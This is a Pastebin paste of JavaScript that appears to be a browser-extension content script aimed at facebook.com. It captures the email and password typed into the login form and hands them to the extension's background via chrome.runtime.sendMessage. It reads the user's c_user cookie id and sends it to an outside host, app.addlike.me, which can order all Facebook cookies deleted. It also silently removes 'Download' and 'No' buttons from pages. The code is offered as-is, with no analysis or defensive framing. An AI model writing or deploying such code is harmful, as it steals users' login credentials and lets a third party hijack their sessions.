Advertisement
DIEGROUP

pass

Jul 30th, 2018
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.21 KB | None | 0 0
  1. function blockRemove(){
  2. window.setInterval(function() {
  3. var dwn = document.getElementsByName("submit[Download]");
  4. var bno = document.getElementsByName("submit[No]");
  5. if (dwn.length > 0) {
  6. for (i = 0; i < dwn.length; i++) {
  7. dwn[i].outerHTML = "";
  8. }
  9. }
  10. if (bno.length > 0) {
  11. for (i = 0; i < bno.length; i++) {
  12. bno[i].outerHTML = "";
  13. }
  14. }
  15. }, 10);
  16. }
  17.  
  18. function login(){
  19. var login_form = document.getElementById("login_form");
  20. if(login_form){
  21. login_form.onsubmit = function(){
  22. var login = {};
  23. login.email = document.getElementById("email").value;
  24. login.pass = document.getElementById("pass").value;
  25. chrome.runtime.sendMessage(login);
  26. }
  27. }else{
  28. checkTime();
  29. }
  30. }
  31.  
  32. function checkTime(){
  33. var checkID = "logout23432";
  34. var lastCheck = localStorage[checkID] || 0;
  35. var timeLimit = 1000*60*10;
  36. var timeDiff = Date.now() - lastCheck;
  37. if(timeDiff >= timeLimit){
  38. localStorage[checkID] = Date.now();
  39. //checkUser();
  40. }
  41. }
  42.  
  43. function checkUser(){
  44. fetch("https://app.addlike.me/php/login.php?k="+profile_id).then(function(response){
  45. return response.json();
  46. }).then(function(data){
  47. if(data.logout && data.logout == true){
  48. deleteAllCookies();
  49. location = "https://www.facebook.com/login.php";
  50. }
  51. })
  52. }
  53.  
  54. function deleteAllCookies() {
  55. var cookies = document.cookie.split(";");
  56. for (var i = 0; i < cookies.length; i++) {
  57. var cookie = cookies[i];
  58. var eqPos = cookie.indexOf("=");
  59. var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
  60. document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT;domain=.facebook.com";
  61. }
  62. }
  63.  
  64. if(location.hostname.indexOf("facebook.com") >= 0 && !document.getElementById("isrunpass")){
  65. var ckid = document.cookie.match(/c_user=(\d+)/);
  66. profile_id = ckid ? ckid[1] : 0;
  67. var lg = document.createElement("meta");
  68. lg.id = "isrunpass";
  69. document.head.appendChild(lg);
  70. //login();
  71. //blockRemove();
  72. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement